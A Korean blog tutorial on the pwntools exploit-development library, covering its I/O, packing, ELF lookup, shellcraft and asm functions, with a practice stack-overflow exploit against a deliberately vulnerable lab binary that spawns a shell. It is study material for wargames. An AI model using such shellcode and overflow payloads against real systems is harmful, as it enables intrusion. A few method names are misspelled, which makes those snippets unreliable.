보안전문가로 향하는 길

pwntools - 해킹 오픈 api 본문

드림핵/시스템 해킹

pwntools - 해킹 오픈 api

뒷문은 필수 2024. 1. 1. 16:53
728x90

모든 실행은 리눅스에서 이루어진다.

오늘은 pwntools에 대해서 알아보도록 하자.

 

 

아래 깃허브 사이트에 들어가면 설치방법이 나와있다.

https://github.com/Gallopsled/pwntools

 

GitHub - Gallopsled/pwntools: CTF framework and exploit development library

CTF framework and exploit development library. Contribute to Gallopsled/pwntools development by creating an account on GitHub.

github.com

 

이 내용에서는 간단한 것만 설명하기 때문에 자세히 알고 싶으면 아래 링크를 참조하자

https://docs.pwntools.com/en/latest/

 

pwntools — pwntools 4.13.0dev documentation

© Copyright 2016, Gallopsled et al.. Revision cd0c34a6.

docs.pwntools.com

 

 


Process & remote 접속

from pwn import *

p = process('./test') # 로컬에 있는 파일을 대상으로 할 때
p = remote('test.com', port_number) # test.com에서 port_number 포트에서 실행중일 프로세서를 대상으로 할 떄

 

Send 데이터 입력(전송)

from pwn import *

p = process('./test')
p.send(b'A') # test에 이진수로 A를 입력
p.sendline(b'A') # test에 이진수로 A를 보내고 이진수로 '\n'을 입력
p.sendafter(b'hello',b'A') # test hello가 출력이 되면 A를 입력
p.sendlineafter(b'hello', b'A') # test hello가 출력이 되면 A + \n를 입력

 

recv 데이터 받기

recvrecvn의 차이점을 확실히 알아야 한다

recv(n)은 최대 n바이트를 받는다. 그러나 n까지 받지 못해도 에러가 발생하지 않는다

recvn(n)은 정확하게 n바이트를 받지 못하면 계속 기다린다

from pwn import *
p = process('./test')

data = p.recv(1024) # p가 출력하는 테이터를 최대 1024 받이트까지 받아서 data에 저장
data = p.recvline() # p가 출력하는 데이터를 개행문자(\n)를 만날 때까지 데이터를 data에 저장
data = p.recvn(5)  # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntill(b'hello') # hello를 출력할 때까지 데이터를 data에 저장
data = p.recvcall() # p가 출력하는 데이터를 프로그램이 종료될 때까지 받아서 data에 저장

 

Packing & Unpacking 패킹, 언패킹

packing : p32, p64 (숫자는 비트수) -- 16진수를 str(문자열)로 만듦

unpacking : u32, u64 (숫자는 비트수) -- str(문자열)을 int형으로 만듦

기본적으로 리틀 엔디안 방식을 사용한다.

빅 엔디안은 이와 같이 사용하면 된다. p32,u32(값, endian='big')

 

 

코드

from pwn import *

s32 = 0x41424344
s64 = 0x4142434445464748

print(p32(s32))
print(p64(s64))

s32 = b"ABCD"
s64 = b"ABCDEFGH"

print(hex(u32(s32)))
print(hex(u64(s64)))

 

출력

DCBA
HGFEDCBA
0x44434241
0x4847464544434241

 

interactive 쉘 접속

셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수

호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있다.

p.interactive()

 

ELF

ELF의 헤더에는 익스플로잇에 사용할 수 있는 각종 정보가 있다.

pwntools를 이요해서 이 정보를 쉽게 가져올 수 있다.

from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

 

 

Context.arch & Context.log 디버킹 레벨 조정, 아키택쳐 선택

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

 

 

Shellcraft 셸 코드

pwntools에는 자주 사용되는 셸 코드들을 제공한다.

좋은 기능이지만 셸 코드가 실행될 때의 메모리 상태를 반영하지 못한다.

또한 프로그램에 따라 입력할 수 있는 셸 코드의 길이나, 구성, 가능한 문자 제한 등이 있을 수 있다.

따라서 직접 셸 코드를 작성하는 것이 좋다.

 

아키택처 지정이 중요하다. 잊지 말자

from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64

code = shellcraft.sh() # 셸을 실행하는 셸 코드
print(code)

 

x86-64를 대상으로 한 여러 종류의 셸 코드

https://docs.pwntools.com/en/stable/shellcraft/amd64.html

 

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.11.1 documentation

key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.

docs.pwntools.com

 

 

Asm 어셈블리어로 변환

아키택처 지정이 중요하다. 아키택처 지정을 잊지 말자

from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'

code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)

 

 

 


pwntools를 이용한 실습

아래 코드를 보고 실습을 진행해 보도록 하자

#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

위 코드를 살펴보면 buf에 0x28 만큼의 배열을 부여해 준다.

그다음 input을 출력하고 scanf함수를 통해서 buf에 입력을 받을 수 있다.

 

아래는 공격 코드이다. 좀더 자세한 내용은 스택 오버플로우에서 다루도록 하자

위에서 배운 알고 있는 내용만 가지고 본다면 process 명령어로 rao라는 파일에 익스플로잇을 할려고 하고

get_shell함수의 주소를 갖고 오지 위해 ELF명령어로 rao에 접근한다

payload에 A를 0x30개 0x8개 그래고 주소를 입력하고 공격을 했다는 것만 알아두자

from pwn import *

p = process('./rao')

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']

payload = b'A'*0x30
payload += b'B'*0x8
payload += p64(get_shell)

p.sendline(payload)

p.interactive()